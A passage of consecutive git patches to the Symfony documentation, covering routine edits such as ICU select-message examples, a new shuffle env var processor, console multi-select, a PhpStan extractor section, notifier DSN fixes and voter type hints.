                             female {{organizer_name} has invited you to her party!}
                             male {{organizer_name} has invited you to his party!}
-                            other {{organizer_name} have invited you to their party!}
+                            multi  {{organizer_name} have invited you to their party!}
+                            other {{organizer_name} has invited you to their party!}
                         }</target>
                     </trans-unit>
                 </body>
@@ -133,7 +135,8 @@ typical usage of this is gender:
             'invitation_title' => '{organizer_gender, select,
                 female {{organizer_name} has invited you to her party!}
                 male   {{organizer_name} has invited you to his party!}
-                other  {{organizer_name} have invited you to their party!}
+                multi  {{organizer_name} have invited you to their party!}
+                other  {{organizer_name} has invited you to their party!}
             }',
         ];
 
@@ -152,6 +155,12 @@ select. This function is applied over the ``organizer_gender`` variable::
     // prints "John & Jane have invited you to their party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'John & Jane',
+        'organizer_gender' => 'multi',
+    ]);
+
+    // prints "McDonalds has invited you to their party!"
+    echo $translator->trans('invitation_title', [
+        'organizer_name' => 'McDonalds',
         'organizer_gender' => 'not_applicable',
     ]);
 
@@ -170,7 +179,7 @@ you to use literal text in the select statements:
     While it might seem more logical to only put ``her``, ``his`` or ``their``
     in the switch statement, it is better to use "complex arguments" at the
     outermost structure of the message. The strings are in this way better
-    readable for translators and, as you can see in the ``other`` case, other
+    readable for translators and, as you can see in the ``multi`` case, other
     parts of the sentence might be influenced by the variables.
 
 .. tip::
@@ -179,12 +188,13 @@ you to use literal text in the select statements:
     without having to define them in any file::
 
         $invitation = '{organizer_gender, select,
-            female {{organizer_name} has invited you for her party!}
-            male   {{organizer_name} has invited you for his party!}
-            other  {{organizer_name} have invited you for their party!}
+            female {{organizer_name} has invited you to her party!}
+            male   {{organizer_name} has invited you to his party!}
+            multi  {{organizer_name} have invited you to their party!}
+            other  {{organizer_name} has invited you to their party!}
         }';
 
-        // prints "Ryan has invited you for his party!"
+        // prints "Ryan has invited you to his party!"
         echo $translator->trans($invitation, [
             'organizer_name' => 'Ryan',
             'organizer_gender' => 'male',

From f14edf4bfe15642478e3abf6435eea83b77bc985 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 17:23:00 +0200
Subject: [PATCH 3377/7107] Minor tweaks

---
 translation/message_format.rst | 40 +++++++++++++++++-----------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 5da4a95fd16..a718c75ca38 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -100,10 +100,10 @@ typical usage of this is gender:
         # the 'other' key is required, and is selected if no other case matches
         invitation_title: >-
             {organizer_gender, select,
-                female {{organizer_name} has invited you to her party!}
-                male   {{organizer_name} has invited you to his party!}
-                multi  {{organizer_name} have invited you to their party!}
-                other  {{organizer_name} has invited you to their party!}
+                female   {{organizer_name} has invited you to her party!}
+                male     {{organizer_name} has invited you to his party!}
+                multiple {{organizer_name} have invited you to their party!}
+                other    {{organizer_name} has invited you to their party!}
             }
 
     .. code-block:: xml
@@ -117,10 +117,10 @@ typical usage of this is gender:
                         <source>invitation_title</source>
                         <!-- the 'other' key is required, and is selected if no other case matches -->
                         <target>{organizer_gender, select,
-                            female {{organizer_name} has invited you to her party!}
-                            male {{organizer_name} has invited you to his party!}
-                            multi  {{organizer_name} have invited you to their party!}
-                            other {{organizer_name} has invited you to their party!}
+                            female   {{organizer_name} has invited you to her party!}
+                            male     {{organizer_name} has invited you to his party!}
+                            multiple {{organizer_name} have invited you to their party!}
+                            other    {{organizer_name} has invited you to their party!}
                         }</target>
                     </trans-unit>
                 </body>
@@ -133,10 +133,10 @@ typical usage of this is gender:
         return [
             // the 'other' key is required, and is selected if no other case matches
             'invitation_title' => '{organizer_gender, select,
-                female {{organizer_name} has invited you to her party!}
-                male   {{organizer_name} has invited you to his party!}
-                multi  {{organizer_name} have invited you to their party!}
-                other  {{organizer_name} has invited you to their party!}
+                female   {{organizer_name} has invited you to her party!}
+                male     {{organizer_name} has invited you to his party!}
+                multiple {{organizer_name} have invited you to their party!}
+                other    {{organizer_name} has invited you to their party!}
             }',
         ];
 
@@ -155,12 +155,12 @@ select. This function is applied over the ``organizer_gender`` variable::
     // prints "John & Jane have invited you to their party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'John & Jane',
-        'organizer_gender' => 'multi',
+        'organizer_gender' => 'multiple',
     ]);
 
-    // prints "McDonalds has invited you to their party!"
+    // prints "ACME Company has invited you to their party!"
     echo $translator->trans('invitation_title', [
-        'organizer_name' => 'McDonalds',
+        'organizer_name' => 'ACME Company',
         'organizer_gender' => 'not_applicable',
     ]);
 
@@ -179,7 +179,7 @@ you to use literal text in the select statements:
     While it might seem more logical to only put ``her``, ``his`` or ``their``
     in the switch statement, it is better to use "complex arguments" at the
     outermost structure of the message. The strings are in this way better
-    readable for translators and, as you can see in the ``multi`` case, other
+    readable for translators and, as you can see in the ``multiple`` case, other
     parts of the sentence might be influenced by the variables.
 
 .. tip::
@@ -188,10 +188,10 @@ you to use literal text in the select statements:
     without having to define them in any file::
 
         $invitation = '{organizer_gender, select,
-            female {{organizer_name} has invited you to her party!}
-            male   {{organizer_name} has invited you to his party!}
-            multi  {{organizer_name} have invited you to their party!}
-            other  {{organizer_name} has invited you to their party!}
+            female   {{organizer_name} has invited you to her party!}
+            male     {{organizer_name} has invited you to his party!}
+            multiple {{organizer_name} have invited you to their party!}
+            other    {{organizer_name} has invited you to their party!}
         }';
 
         // prints "Ryan has invited you to his party!"

From d68d7ee3c62dd422323ea1f49ea1eca35541797b Mon Sep 17 00:00:00 2001
From: Arman Hosseini <namra.1377@gmail.com>
Date: Sun, 10 Jul 2022 00:19:27 +0430
Subject: [PATCH 3378/7107] Use --webapp flag instead of --full

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 685a89afdb1..69dc5e3f35f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,13 +50,13 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=4.4 --full
+    $ symfony new my_project_directory --version=4.4 --webapp
 
     # run this if you are building a microservice, console application or API
     $ symfony new my_project_directory --version=4.4
 
 The only difference between these two commands is the number of packages
-installed by default. The ``--full`` option installs all the packages that you
+installed by default. The ``--webapp`` option installs all the packages that you
 usually need to build web applications, so the installation size will be bigger.
 
 If you're not using the Symfony binary, run these commands to create the new

From 12c1059f83ecf46ed23aaaafc03b8a91f0454a55 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Sun, 10 Jul 2022 12:41:13 +0200
Subject: [PATCH 3379/7107] Adjust variable name

Adjust variable name to be like the definition in VoterInterface
---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index d1df7d1f8bb..dee133d53d5 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -87,7 +87,7 @@ of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterf
 which means they have to implement a few methods which allows the decision
 manager to use them:
 
-``vote(TokenInterface $token, $object, array $attributes)``
+``vote(TokenInterface $token, $subject, array $attributes)``
     this method will do the actual voting and return a value equal to one
     of the class constants of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`,
     i.e. ``VoterInterface::ACCESS_GRANTED``, ``VoterInterface::ACCESS_DENIED``

From 52f80e97ab9fe323d32e79abf2a716a8f6e04284 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gabriel=20Ostroluck=C3=BD?= <gabriel.ostrolucky@gmail.com>
Date: Sun, 10 Jul 2022 22:25:06 +0200
Subject: [PATCH 3380/7107] [DependencyInjection] Add shuffle env var processor
 documentation

Closes #16961
---
 configuration/env_var_processors.rst | 53 ++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 35a247dd6fa..feea91dd3d4 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -378,6 +378,59 @@ Symfony provides the following env var processors:
                 $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
+``env(shuffle:FOO)``
+    Randomly shuffles values of ``FOO``, which is an array.
+    Usable when combining with other processors, as array is a prerequisite.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(REDIS_NODES): "127.0.0.1:6380,127.0.0.1:6381"
+            services:
+                RedisCluster:
+                    class: RedisCluster
+                    arguments: [null, "%env(shuffle:csv:REDIS_NODES)%"]
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(REDIS_NODES)">redis://127.0.0.1:6380,redis://127.0.0.1:6381</parameter>
+                </parameters>
+
+                <services>
+                    <service id="RedisCluster" class="RedisCluster">
+                        <argument>null</argument>
+                        <argument>%env(shuffle:csv:REDIS_NODES)%</argument>
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+            return static function (ContainerConfigurator $configurator): void {
+                $container = $configurator->services()
+                    ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
+            };
+
+.. versionadded:: 6.2
+
+    The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:

From 33d4a8661146677017a8d033b59404a81e3d7fac Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 11 Jul 2022 10:55:58 +0200
Subject: [PATCH 3381/7107] [Console] Add Multiselect to choice()

---
 console/style.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index cfe6502b3fd..57b2d8594fb 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -324,6 +324,12 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
+    Finally, you can specify that user can select multiple choices. User must
+    separate each choice with a comma (e.g. typing ``1, 2`` will select choice 1
+    and 2)::
+
+        $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], multiSelect: true);
+
 Result Methods
 ~~~~~~~~~~~~~~
 

From 0d99409357438d3cdb08a241e29438dea256cec5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Jul 2022 13:04:26 +0200
Subject: [PATCH 3382/7107] Minor tweaks

---
 configuration/env_var_processors.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index feea91dd3d4..658a05163df 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -378,9 +378,9 @@ Symfony provides the following env var processors:
                 $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
+
 ``env(shuffle:FOO)``
-    Randomly shuffles values of ``FOO``, which is an array.
-    Usable when combining with other processors, as array is a prerequisite.
+    Randomly shuffles values of the ``FOO`` env var, which must be an array.
 
     .. configuration-block::
 
@@ -428,9 +428,9 @@ Symfony provides the following env var processors:
                     ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
             };
 
-.. versionadded:: 6.2
+    .. versionadded:: 6.2
 
-    The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
+        The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
@@ -794,9 +794,9 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
 
-.. versionadded:: 6.2
+    .. versionadded:: 6.2
 
-    The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
+        The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 It is also possible to combine any number of processors:
 

From 357781bbaf240a0c7ac6c1e945aef184e864bdbf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Jul 2022 11:18:39 +0200
Subject: [PATCH 3383/7107] [PropertyInfo] Add PhpStan extractor to
 PropertyInfo available extractors

---
 components/property_info.rst | 34 +++++++++++++++++++++++++++++++++-
 1 file changed, 33 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index dfd22c9d2b3..272a3ae610f 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -411,6 +411,37 @@ library is present::
     $phpDocExtractor->getShortDescription($class, $property);
     $phpDocExtractor->getLongDescription($class, $property);
 
+PhpStanExtractor
+~~~~~~~~~~~~~~~
+
+.. note::
+
+    This extractor depends on the `phpstan/phpdoc-parser`_ and
+    `phpdocumentor/reflection-docblock`_ libraries.
+
+This extractor fetches information thanks to the PHPStan parser. It gathers
+information from annotations of properties and methods, such as ``@var``,
+``@param`` or ``@return``::
+
+    // src/Domain/Foo.php
+    class Foo
+    {
+        private $bar;
+
+        /**
+         * @param string $bar
+         */
+        public function __construct($bar) {
+            $this->bar = $bar;
+        }
+    }
+
+    // Extraction.php
+    use Symfony\Component\PropertyInfo\Extractor\PhpStanExtractor;
+
+    $phpStanExtractor = new PhpStanExtractor();
+    $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
+
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
 
@@ -436,7 +467,7 @@ with the ``property_info`` service in the Symfony Framework::
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-   
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
@@ -497,6 +528,7 @@ service by defining it as a service with one or more of the following
 
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
 .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock
+.. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
 .. _`Doctrine ORM`: https://www.doctrine-project.org/projects/orm.html
 .. _`symfony/serializer`: https://packagist.org/packages/symfony/serializer
 .. _`symfony/doctrine-bridge`: https://packagist.org/packages/symfony/doctrine-bridge

From 693437e0ddc3364bce2033cd8f23466df4f2f075 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Jul 2022 15:27:48 +0200
Subject: [PATCH 3384/7107] Minor tweaks

---
 components/property_info.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 272a3ae610f..7a2e570717d 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -412,7 +412,7 @@ library is present::
     $phpDocExtractor->getLongDescription($class, $property);
 
 PhpStanExtractor
-~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~
 
 .. note::
 
@@ -442,6 +442,10 @@ information from annotations of properties and methods, such as ``@var``,
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
 
+.. versionadded:: 6.1
+
+    The ``PhpStanExtractor`` was introduced in Symfony 6.1.
+
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
 

From 71ff91826d1113dc981c5687a8629714cc00cee5 Mon Sep 17 00:00:00 2001
From: matthieudelmas <95386861+matthieudelmas@users.noreply.github.com>
Date: Wed, 22 Jun 2022 12:38:15 +0200
Subject: [PATCH 3385/7107] Fix documentation symfony notifier

Fix empty notification in ChatMessage when message customization
---
 notifier.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index d015af8e94b..b6a76ad86a1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -697,7 +697,7 @@ and its ``asChatMessage()`` method::
     use Symfony\Component\Notifier\Message\ChatMessage;
     use Symfony\Component\Notifier\Notification\ChatNotificationInterface;
     use Symfony\Component\Notifier\Notification\Notification;
-    use Symfony\Component\Notifier\Recipient\SmsRecipientInterface;
+    use Symfony\Component\Notifier\Recipient\RecipientInterface;
 
     class InvoiceNotification extends Notification implements ChatNotificationInterface
     {
@@ -710,10 +710,11 @@ and its ``asChatMessage()`` method::
 
         public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
         {
-            // Add a custom emoji if the message is sent to Slack
+            // Add a custom subject and emoji if the message is sent to Slack
             if ('slack' === $transport) {
-                return (new ChatMessage('You\'re invoiced '.$this->price.' EUR.'))
-                    ->emoji('money');
+                $this->subject('You\'re invoiced '.strval($this->price).' EUR.');
+                $this->emoji("money");
+                return ChatMessage::fromNotification($this);
             }
 
             // If you return null, the Notifier will create the ChatMessage

From e78437285b4c0b07bc337c61051342636aa76fa8 Mon Sep 17 00:00:00 2001
From: royswale <royswale@gmail.com>
Date: Fri, 1 Jul 2022 09:29:46 +0800
Subject: [PATCH 3386/7107] Update workflow-and-state-machine.rst

---
 workflow/workflow-and-state-machine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 6ef73aa60cf..10ec2fbf4b6 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -244,7 +244,7 @@ Below is the configuration for the pull request state machine.
                     ->to(['closed']);
 
             $pullRequest->transition()
-                ->name('accept')
+                ->name('reopen')
                     ->from(['closed'])
                     ->to(['review']);
         };

From fb6d0964416be520669b7031dfcde809a3f5d079 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 11 Jul 2022 18:08:18 +0200
Subject: [PATCH 3387/7107] Add Zendesk notifier in the chat channel section

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 1052b75a816..820650e3e7d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -190,9 +190,14 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zendesk         ``symfony/zendesk-notifier``          ``ZENDESK_DSN=zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  =============================================================================
 
+.. versionadded:: 6.2
+
+    The Zendesk integration was introduced in Symfony 6.2.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From f887a21241631ea6d707c309d568dea988ef4350 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 12 Jul 2022 16:10:36 +0200
Subject: [PATCH 3388/7107] Switch to const `Cookie::SAMESITE_LAX`

...to make the available options more obvious.
---
 session.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index ec9982ae921..55bc2be1a0c 100644
--- a/session.rst
+++ b/session.rst
@@ -57,6 +57,7 @@ sessions, check their default configuration:
     .. code-block:: php
 
         // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Cookie;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
@@ -69,7 +70,7 @@ sessions, check their default configuration:
                 ->handlerId(null)
                 // improves the security of the cookies used for sessions
                 ->cookieSecure('auto')
-                ->cookieSamesite('lax')
+                ->cookieSamesite(Cookie::SAMESITE_LAX)
                 ->storage_factory_id('session.storage.factory.native')
             ;
         };

From 43f692e11f91ef14bdefb3a4cdaa0a81f8ff1c18 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Jul 2022 17:47:22 +0200
Subject: [PATCH 3389/7107] Add the versionadded directive

---
 console/style.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/console/style.rst b/console/style.rst
index 57b2d8594fb..6603fc30ffa 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -324,12 +324,16 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
-    Finally, you can specify that user can select multiple choices. User must
+    Finally, you can allow users to select multiple choices. To do so, users must
     separate each choice with a comma (e.g. typing ``1, 2`` will select choice 1
     and 2)::
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], multiSelect: true);
 
+.. versionadded:: 6.2
+
+    The ``multiSelect`` option of ``choice()`` was introduced in Symfony 6.2.
+
 Result Methods
 ~~~~~~~~~~~~~~
 

From cc545179bf39d938a40935d94dcc9554b1bb3d18 Mon Sep 17 00:00:00 2001
From: Alan Poulain <contact@alanpoulain.eu>
Date: Wed, 13 Jul 2022 17:51:15 +0200
Subject: [PATCH 3390/7107] fix(serializer): missing empty_array_as_object in
 example

---
 serializer.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 0b705aa5a41..f404608133c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -102,12 +102,15 @@ resources. This context is passed to all normalizers. For example:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
   ``datetime_format`` key as date time format;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
-  uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
+  uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead
+  of ``[]`` in JSON.
+* :class:`Symfony\\Component\\Serializer\\Serializer`
+  uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead
   of ``[]`` in JSON.
 
 .. versionadded:: 5.4
 
-    The usage of the ``empty_array_as_object`` option by default in the
+    The usage of the ``empty_array_as_object`` option in the
     Serializer was introduced in Symfony 5.4.
 
 You can pass the context as follows::

From 5c19417be6690894f8e9a49b0cef8f527fea9708 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 13 Jul 2022 20:12:40 +0200
Subject: [PATCH 3391/7107] Minor

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 820650e3e7d..aa2ed34c78c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -190,7 +190,7 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Zendesk         ``symfony/zendesk-notifier``          ``ZENDESK_DSN=zendesk://EMAIL:TOKEN@SUBDOMAIN``
+Zendesk         ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  =============================================================================
 

From 0b546b1c1f46d8ddc3f8560af09e2ff46fb6310b Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Thu, 14 Jul 2022 17:11:39 +0200
Subject: [PATCH 3392/7107] [Security] Update security.rst

Fixing display php code block
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index f1a0bd6bf05..9639d7c7e9a 100644
--- a/security.rst
+++ b/security.rst
@@ -930,7 +930,7 @@ Next, you'll need to create a route for this URL (but not a controller):
             <route id="app_logout" path="/logout" methods="GET"/>
         </routes>
 
-    ..  code-block:: php
+    .. code-block:: php
 
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;

From 39381686d5a52585fdc1c5d39a2e6b714e1e7435 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Sun, 10 Oct 2021 20:28:50 +0200
Subject: [PATCH 3393/7107] 14123 [Serializer] Document denormalize groups
 value '*'

---
 components/serializer.rst | 27 ++++++++++++++++++++++++++-
 1 file changed, 26 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index acd7de09d6a..2d7a7ca8890 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -306,6 +306,11 @@ Then, create your groups definition:
              */
             public $foo;
 
+            /**
+             * @Groups({"group4"})
+             */
+            public $anotherProperty;
+
             /**
              * @Groups("group3")
              */
@@ -328,6 +333,9 @@ Then, create your groups definition:
             #[Groups(['group1', 'group2'])]
             public $foo;
 
+            #[Groups(['group4'])]
+            public $anotherProperty;
+
             #[Groups(['group3'])]
             public function getBar() // is* methods are also supported
             {
@@ -343,6 +351,8 @@ Then, create your groups definition:
             attributes:
                 foo:
                     groups: ['group1', 'group2']
+                anotherProperty:
+                    groups: ['group4']
                 bar:
                     groups: ['group3']
 
@@ -360,6 +370,10 @@ Then, create your groups definition:
                     <group>group2</group>
                 </attribute>
 
+                <attribute name="anotherProperty">
+                    <group>group4</group>
+                </attribute>
+
                 <attribute name="bar">
                     <group>group3</group>
                 </attribute>
@@ -373,6 +387,7 @@ You are now able to serialize only attributes in the groups you want::
 
     $obj = new MyObj();
     $obj->foo = 'foo';
+    $obj->anotherProperty = 'anotherProperty';
     $obj->setBar('bar');
 
     $normalizer = new ObjectNormalizer($classMetadataFactory);
@@ -382,13 +397,23 @@ You are now able to serialize only attributes in the groups you want::
     // $data = ['foo' => 'foo'];
 
     $obj2 = $serializer->denormalize(
-        ['foo' => 'foo', 'bar' => 'bar'],
+        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
         'MyObj',
         null,
         ['groups' => ['group1', 'group3']]
     );
     // $obj2 = MyObj(foo: 'foo', bar: 'bar')
 
+    // You can use `groups` with value `*` to get all groups:
+
+    $obj3 = $serializer->denormalize(
+        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
+        'MyObj',
+        null,
+        ['groups' => ['*']]
+    );
+    // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
+
 .. _ignoring-attributes-when-serializing:
 
 Selecting Specific Attributes

From 5b236ab19af2483e139b6792b6a8df1d4b6bb398 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C5=81ukasz=20Chru=C5=9Bciel?= <lchrusciel@gmail.com>
Date: Fri, 15 Jul 2022 14:19:15 +0200
Subject: [PATCH 3394/7107] Add information about flex plugin allowance

---
 bundles/best_practices.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f18cdba8352..c0c96b23289 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -227,7 +227,7 @@ Require a Specific Symfony Version
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 You can use the special ``SYMFONY_REQUIRE`` environment variable together
-with Symfony Flex to install a specific Symfony version:
+with Symfony to install a specific Symfony version:
 
 .. code-block:: bash
 
@@ -235,6 +235,7 @@ with Symfony Flex to install a specific Symfony version:
     export SYMFONY_REQUIRE=5.*
 
     # install Symfony Flex in the CI environment
+    composer global config --no-plugins allow-plugins.symfony/flex true
     composer global require --no-progress --no-scripts --no-plugins symfony/flex
 
     # install the dependencies (using --prefer-dist and --no-progress is

From 83fe16ad8534d74368b24bb9770341451b9bf0f6 Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Fri, 15 Jul 2022 21:48:10 +0200
Subject: [PATCH 3395/7107] [Security] Add type hints

-Added type hint for $subject to be like the definition in Voter and VoterInterface.
-$subject type hint added in V 6.0
---
 security/voters.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 600fee884dd..a69ff914af6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -47,8 +47,8 @@ which makes creating a voter even easier::
 
     abstract class Voter implements VoterInterface
     {
-        abstract protected function supports(string $attribute, $subject);
-        abstract protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token);
+        abstract protected function supports(string $attribute, mixed $subject);
+        abstract protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token);
